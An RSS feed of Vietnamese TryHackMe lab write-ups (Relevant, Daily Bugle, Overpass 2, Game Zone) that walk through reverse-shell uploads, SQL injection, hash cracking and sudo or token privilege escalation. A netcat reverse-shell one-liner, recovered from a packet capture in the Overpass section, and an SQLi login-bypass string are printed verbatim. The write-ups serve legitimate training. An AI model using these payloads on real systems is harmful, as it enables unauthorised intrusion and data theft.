<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Ducker</title><description>Stay humble</description><link>https://quangthaictc.github.io</link><item><title>Relevant</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/relevant</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/relevant</guid><description>Thử thách kiểm thử xâm nhập.</description><pubDate>Mon, 22 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;h3&gt;Nmap scan&lt;/h3&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;nmap&lt;/code&gt; mình tìm được 2 port HTTP và 1 port SMB có khả năng khai thác.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.qZxF0xaw_ZwFsTa.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Truy cập vào 2 trang Web thì cả 2 đều có giao diện Web mặc định của IIS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.QfmrngpQ_aj9z3.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Gobuster&lt;/h3&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;gobuster&lt;/code&gt;, mình scan ra được một đường dẫn như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/nt4wrksv             (Status: 301) [Size: 159]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng khi truy cập thì là một trang trống và không có gì.&lt;/p&gt;
&lt;h3&gt;Dịch vụ SMB&lt;/h3&gt;
&lt;p&gt;Liệt kê danh sách thư mục share của mục tiêu, mình tìm thấy một thư mục giống như đường dẫn scan từ &lt;code&gt;gobuster&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.BWaCQhcS_BhuAL.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Truy cập vào thư mục này thì mình phát hiện một file tên &lt;code&gt;passwords.txt&lt;/code&gt;, nhìn vào nội dung file thì đây là mật khẩu được mã hóa base64 khá quen thuộc.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.CieT87GY_C26Ok.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Giải ra thì mình nhận được mật khẩu của người dùng &lt;code&gt;Bob&lt;/code&gt; và &lt;code&gt;Bill&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.Cx4QUJ9O_Z1HoYPB.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình cũng thử truy cập lại trang web với đường dẫn kèm file này, thì mình xác nhận được là nó đã truy cập cùng một thư mục.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.CZSujKwo_Z2ainHM.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Upload reverse shell&lt;/h3&gt;
&lt;p&gt;Từ các thông tin tìm được, mình thực hiện upload một reverse shell với định dạng &lt;code&gt;.aspx&lt;/code&gt; của &lt;a href=&quot;https://github.com/borjmz/aspx-reverse-shell/raw/refs/heads/master/shell.aspx&quot;&gt;borjmz&lt;/a&gt; vì đây là server IIS, nó sẽ hỗ trợ thực thi file này rất tốt.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.BGj-jujQ_ZH9z5d.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập iis apppool và flag&lt;/h3&gt;
&lt;p&gt;Sau khi up load shell thành công, mình mở một listener netcat và truy cập vào file reverse shell vừa upload thì mình đã chiếm được quyền truy cập vào &lt;code&gt;iis apppool\defaultapppool&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.CTKTgOps_AxQBB.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Và mình tìm thấy flag tại file &lt;code&gt;user.txt&lt;/code&gt; trong thư mục &lt;code&gt;Desktop&lt;/code&gt; của người dùng &lt;code&gt;Bob&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.J3p5GgUN_zL94h.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;h3&gt;PrintSpoofer&lt;/h3&gt;
&lt;p&gt;Khi kiểm tra các đặc quyền của người dùng này, mình phát hiện đặc quyền &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; đang &lt;code&gt;enabled&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.Bf-hfKTf_Z1wCyGC.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Có một bản khai thác công khai có tên &lt;a href=&quot;https://github.com/itm4n/PrintSpoofer&quot;&gt;PrintSpoofer&lt;/a&gt;. Mình thực hiện chuyển file này sang máy mục tiêu và do trước đó mình dùng SMB nên không biết đường dẫn trong máy của file này nằm ở đâu nên mình tìm và thấy nó nằm tại &lt;code&gt;C:\inetpub\wwwroot\nt4wrksv&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.CDjg7Dn6_2gk1XJ.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập vào SYSTEM và flag&lt;/h3&gt;
&lt;p&gt;Thực thi file và mình đã chiếm được quyền truy cập vào &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.unIuwIFq_ZvNbtL.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Cuối cùng mình tìm thấy flag tại thư mục &lt;code&gt;Desktop&lt;/code&gt; của &lt;code&gt;Administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.B8Y8tz0-_Z27qH2a.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.By8gjboK.jpeg"/><enclosure url="/_astro/thumbnail.By8gjboK.jpeg"/></item><item><title>Daily Bugle</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/daily-bugle</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/daily-bugle</guid><description>Chiếm quyền một tài khoản Joomla CMS thông qua SQLi, giải mã hash và leo thang đặc quyền bằng cách tận dụng yum.</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;p&gt;Truy cập vào mục tiêu thì đây là trang báo lá cải của &lt;code&gt;Daily Bugle&lt;/code&gt; (fan Spider-man sẽ khá quen thuộc với chỗ này).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.Deec8GQW_1SviMn.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Trang này có một bài với tiêu đề &lt;em&gt;&lt;strong&gt;&quot;Spider-Man cướp ngân hàng!&quot;&lt;/strong&gt;&lt;/em&gt; và bên cạnh có một form đăng nhập.&lt;/p&gt;
&lt;p&gt;Và ở &lt;code&gt;/robots.txt&lt;/code&gt; có leak về trang &lt;code&gt;/administrator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/0.Bh5gJ9Cb_14IjhP.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau khi tìm hiểu thì mình tìm thấy một công cụ của &lt;code&gt;OWASP&lt;/code&gt; có tên là &lt;code&gt;JoomScan&lt;/code&gt; dành riêng cho CMS này. Nó có thể thu thập thông tin phiên bản, lỗ hổng dựa trên phiên bản,...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.DGXFRaPZ_29IV2O.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng công cụ, phiên bản của Joomla CMS là &lt;code&gt;3.7.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.kbj06Zi2_Z1i3GDu.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ở phiên bản này tồn tại lỗ hổng SQLi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.DDHMA9uM_1fyobI.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Lỗ hổng này được báo cáo và cách khai thác như sau:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.DLl6mO9y_lGHzc.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Truy cập người dùng apache&lt;/h3&gt;
&lt;p&gt;Mình sử dụng công cụ &lt;code&gt;SQLmap&lt;/code&gt; để khai thác lỗ hổng này và trích xuất được database &lt;code&gt;joomla&lt;/code&gt; có 72 bảng dữ liệu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.BbHwgkKy_Z5CcWU.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nhưng mình đã thử nhiều cách vẫn không dump dữ liệu của các bảng này được.&lt;/p&gt;
&lt;p&gt;Do đó, mình tìm kiếm thêm thông tin thì thấy có PoC này có script &lt;code&gt;python&lt;/code&gt; khai thác và dump bảng &lt;code&gt;users&lt;/code&gt; và &lt;code&gt;session&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.CBEHspP7_pIYc.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi thực thi file, mình tìm được thông tin của người dùng &lt;code&gt;Jonah&lt;/code&gt; kèm theo một hash mật khẩu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.CbMYu0kl_ZLTqXI.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng công cụ &lt;code&gt;John the Ripper&lt;/code&gt; với wordlist &lt;code&gt;rockyou.txt&lt;/code&gt; thì mình giải hash này ra được mật khẩu gốc.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.DAYXYfNI_Z1DPuRN.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng thông tin đăng nhập này, mình đăng nhập vào &lt;code&gt;/administrator&lt;/code&gt; thì được chuyển đến trang &lt;code&gt;Control Panel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.D4zLs-Pk_Z1CcmMV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ở trang &lt;code&gt;Templates&lt;/code&gt; mình phát hiện ở đây quản lý các template được dựng bằng PHP và có thể thực thi nó.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.CjOzv14n_Z1H324I.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại đây, mình sử dụng reverse shell của &lt;a href=&quot;https://pentestmonkey.net/tools/web-shells/php-reverse-shell&quot;&gt;pentestmonkey&lt;/a&gt; và chèn vào tempalte này.&lt;/p&gt;
&lt;p&gt;Sau khi chọn &lt;code&gt;Tempalte Preview&lt;/code&gt;, file này sẽ thực thi và kết nối đến listener netcat của mình.&lt;/p&gt;
&lt;p&gt;Nhưng quyền hiện tại không thể truy cập đến thư mục &lt;code&gt;/home&lt;/code&gt; của &lt;code&gt;jjameson&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.DI4f8y7T_K3IdS.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng jjameson và flag&lt;/h3&gt;
&lt;p&gt;Khi mình tìm trong thư mục của webserver, mình phát hiện bên trong file &lt;code&gt;configuration.php&lt;/code&gt; có thông tin &lt;code&gt;user&lt;/code&gt; và &lt;code&gt;password&lt;/code&gt;. Nhưng dùng để đăng nhập thì không được.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.DCK8pejj_1mekBp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tuy nhiên, khi mình dùng mật khẩu này đăng nhập vào &lt;code&gt;jjameson&lt;/code&gt; thì thành công và tìm thấy flag tại thư mục &lt;code&gt;/home&lt;/code&gt; của người dùng này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.C2a4TJFZ_1mJkE7.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;h3&gt;Sudo Misconfiguration (Yum)&lt;/h3&gt;
&lt;p&gt;Từ &lt;code&gt;jjameson&lt;/code&gt; mình thấy trong danh sách &lt;code&gt;sudo&lt;/code&gt; người dùng này có thể thực thi &lt;code&gt;yum&lt;/code&gt; với &lt;code&gt;sudo&lt;/code&gt; mà không cần mật khẩu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.FhBZqR41_Z1fvGCh.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại &lt;a href=&quot;https://gtfobins.github.io/gtfobins/yum/&quot;&gt;GTFOBins&lt;/a&gt; có hướng dẫn cách tận dụng &lt;code&gt;yum&lt;/code&gt; để thực hiện leo thang đặc quyền.&lt;/p&gt;
&lt;p&gt;Từ thông tin trên, mình thực hiện tạo &lt;code&gt;package&lt;/code&gt; với lệnh ghi &lt;code&gt;jjameson ALL=(ALL:ALL) NOPASSWD:ALL&lt;/code&gt; vào file quản lý quyền &lt;code&gt;sudo&lt;/code&gt; và nó sẽ cho phép &lt;code&gt;jjameson&lt;/code&gt; tất cả các quyền thực thi bằng sudo mà không cần mật khẩu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/16.BX9NY_3G_ZeWzmz.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng root và flag&lt;/h3&gt;
&lt;p&gt;Mọi thứ đã chuẩn bị xong, mình chuyển file này sang máy mục tiêu và cài đặt &lt;code&gt;package&lt;/code&gt; vào máy thông qua tùy chọn &lt;code&gt;localinstall&lt;/code&gt; của &lt;code&gt;yum&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/17.B46qY-Uo_Z24Gqtk.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi cài đặt thành công, mình đã có mọi thứ mình muốn, có thể chuyển sang &lt;code&gt;root&lt;/code&gt; dễ dàng và lấy flag tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/18.wUsC4YnN_2lPubL.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.Bv9XeTTx.png"/><enclosure url="/_astro/thumbnail.Bv9XeTTx.png"/></item><item><title>Overpass 2 Hacked</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/overpass-2-hacked</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/overpass-2-hacked</guid><description>Overpass đã bị hack. Phân tích hành động của kẻ tấn công và hack trở lại.</description><pubDate>Thu, 18 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Forensics - Phân tích PCAP&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overpass đã bị hack! Đội SOC (Paradox, chúc mừng vì được thăng chức) đã phát hiện hoạt động đáng ngờ trong một ca trực đêm muộn khi đang xem shibes, và đã kịp thời bắt gói tin trong lúc cuộc tấn công diễn ra.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Từ thông tin trên mình nhận được file &lt;code&gt;overpass2_1595383502269.pcapng&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.CDCAVoXn_Z1taoJG.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Phân tích sơ qua mình thấy một stream bắt được khi kẻ tấn công upload reverse shell thông qua &lt;code&gt;/development/upload.php&lt;/code&gt; với payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;?php exec(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;#x26;1|nc 192.168.170.145 4242 &gt;/tmp/f&quot;)?&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.WDdeVeT7_Z28DK61.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Người này sau khi có được shell đã thực hiện truy cập sang người dùng &lt;code&gt;james&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.CkXLyIZ__1VqKNV.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kẻ này đã thiết lập một &lt;code&gt;persistence&lt;/code&gt; bằng cách cài một backdoor.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.BVm-Ssvq_27XIGN.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại đây, hắn cũng lấy thông tin file &lt;code&gt;shadow&lt;/code&gt;, mình cũng sử dụng file này kèm theo wordlist &lt;code&gt;fasttrack&lt;/code&gt; thì giải mã được mật khẩu của 4 tài khoản.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.eB27N6gQ_Z1iN33J.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Research - Phân tích mã nguồn&lt;/h2&gt;
&lt;p&gt;Kiểm tra mã nguồn một chút thì &lt;code&gt;backdoor&lt;/code&gt; này sử dụng hash mặc định là:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.p8hHBnkS_MBNwC.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Kèm theo đó có &lt;code&gt;salt&lt;/code&gt; là:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.CP01KM7Z_Z2n5tS7.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nhưng khi thực thi &lt;code&gt;backdoor&lt;/code&gt; thì kẻ tấn công dùng một hash khác là:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Từ các thông tin trên mình sẽ giải mã hash mà kẻ tấn công đã sử dụng, trong mã nguồn &lt;code&gt;backdoor&lt;/code&gt; này sử dụng thuật toán hash &lt;code&gt;SHA512&lt;/code&gt; kèm salt:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.DzDxx--U_Z1BF1cr.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Công cụ &lt;code&gt;hashcat&lt;/code&gt; có hỗ trợ thuật toán này ở mode &lt;code&gt;1710&lt;/code&gt; và sau khi giải xong mình đã có được plain text.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.BQnDP9T2_Z2pxDFj.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Attack - Get back in!&lt;/h2&gt;
&lt;p&gt;Từ các thông tin trên, mình truy cập vào website mục tiêu thì thấy nó đã bị kẻ tấn công deface.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.oOjXZut6_2msJMc.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình thực hiện SSH vào &lt;code&gt;james&lt;/code&gt; với các thông tin mình tìm được, nhưng không có quyền truy cập.&lt;/p&gt;
&lt;p&gt;Vấn đề nằm ở đây, kẻ tấn công không SSH vào port mặc định (22) mà SSH vào port &lt;code&gt;2222&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.CbHLG690_Z2uBONA.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau khi SSH ở port &lt;code&gt;2222&lt;/code&gt; thì mình đã có quyền truy cập vào người dùng &lt;code&gt;james&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.Hrdyfa3c_fDb67.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại thư mục &lt;code&gt;/home&lt;/code&gt; của &lt;code&gt;james&lt;/code&gt;, mình tìm thấy flag trong file &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/14.Cdfj9pQC_kKNCI.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Và cũng tại đây kẻ tấn công đã để lại một file thực thi bị ẩn &lt;code&gt;.suid_bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sau một tí thời gian, khi thực thi file và tìm hiểu thì mình thực thi lệnh theo hướng dẫn.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Type `./.suid_bash -c &quot;help set&quot;&apos; for more information about shell options.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trong này mình tìm thấy tùy chọn &lt;code&gt;-p&lt;/code&gt; có vẻ sẽ giúp mình leo thang đặc quyền.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/15.COw14Q1R_ZsW5RO.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi thực thi thành công, mình đã có quyền &lt;code&gt;root&lt;/code&gt; và tìm thấy flag trong file &lt;code&gt;root.txt&lt;/code&gt; tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/16.BpHO-zGF_2gajQB.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.BY5QEhA5.png"/><enclosure url="/_astro/thumbnail.BY5QEhA5.png"/></item><item><title>Game Zone</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/game-zone</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/game-zone</guid><description>Hack vào máy này. Sử dụng công cụ SQLMap, giải mã mật khẩu và leo thang đặc quyền lên root.</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/gamezone&quot;&gt;Link lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Chiếm quyền truy cập thông qua SQLi&lt;/h2&gt;
&lt;p&gt;Khi truy cập vào mục tiêu, tại trang chủ có một form đăng nhập.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.DZMKnUYg_1x27wb.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại đây tồn tại lỗ hổng &lt;code&gt;SQLi&lt;/code&gt;, mình chèn &lt;code&gt;&apos; or 1=1 -- &lt;/code&gt; vào ô &lt;code&gt;username&lt;/code&gt; để bypass đăng nhập.&lt;/p&gt;
&lt;p&gt;Khi thực thi thành công mình được chuyển tới trang &lt;code&gt;/portal&lt;/code&gt;, đồng thời xác nhận được lỗ hổng SQLi đang tồn tại ở trang này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.BsUSyyhB_Z1l56Th.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Công cụ SQLMap&lt;/h2&gt;
&lt;p&gt;Lưu request lúc nãy vào file &lt;code&gt;request.txt&lt;/code&gt; và sử dụng công cụ &lt;code&gt;SQLMap&lt;/code&gt; khai thác và trích xuất dữ liệu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.CSMu_W4k_1zLCXS.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau khi khai thác xong, mình trích xuất được 2 bảng như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Database: db
Table: users
[1 entry]
+------------------------------------------------------------------+----------+
| pwd                                                              | username |
+------------------------------------------------------------------+----------+
| ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 | agent47  |
+------------------------------------------------------------------+----------+

Database: db
Table: post
[5 entries]
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | name                           | description                                                                                                                                                                                            |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | Mortal Kombat 11               | Its a rare fighting game that hits just about every note as strongly as Mortal Kombat 11 does. Everything from its methodical and deep combat.                                                         |
| 2  | Marvel Ultimate Alliance 3     | Switch owners will find plenty of content to chew through, particularly with friends, and while it may be the gaming equivalent to a Hulk Smash, that isnt to say that it isnt a rollicking good time. |
| 3  | SWBF2 2005                     | Best game ever                                                                                                                                                                                         |
| 4  | Hitman 2                       | Hitman 2 doesnt add much of note to the structure of its predecessor and thus feels more like Hitman 1.5 than a full-blown sequel. But thats not a bad thing.                                          |
| 5  | Call of Duty: Modern Warfare 2 | When you look at the total package, Call of Duty: Modern Warfare 2 is hands-down one of the best first-person shooters out there, and a truly amazing offering across any system.                      |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tại bảng &lt;code&gt;users&lt;/code&gt; có một người dùng &lt;code&gt;agent47&lt;/code&gt; với mật khẩu được hash thành:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ngoài ra còn có một bảng khác chứa thông tin các bài đăng.&lt;/p&gt;
&lt;h2&gt;Giải mã mật khẩu với JohnTheRipper&lt;/h2&gt;
&lt;p&gt;Mình sử dụng công cụ &lt;code&gt;JohnTheRipper&lt;/code&gt; để giải mã mật khẩu này kèm wordlist &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.bFek_wOs_msnDW.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau khi có đầy đủ tên đăng nhập và mật khẩu, mình SSH vào tài khoản này.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.BrMxQVpO_ZT3cWS.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Và tại thư mục &lt;code&gt;home&lt;/code&gt; của người dùng này mình tìm được flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.DsRAzfw2_ZeKrEc.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Mở truy cập dịch vụ qua reverse SSH&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.B3YAr7ua_ZF5H0I.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Reverse SSH port forwarding&lt;/code&gt; chỉ định một port trên &lt;code&gt;remote server&lt;/code&gt; sẽ được chuyển tiếp đến host và port đã cho ở phía cục bộ&lt;/p&gt;
&lt;p&gt;Tại đây mình sẽ dùng công cụ &lt;code&gt;ss&lt;/code&gt; để kiểm tra các socket trên máy mục tiêu.&lt;/p&gt;
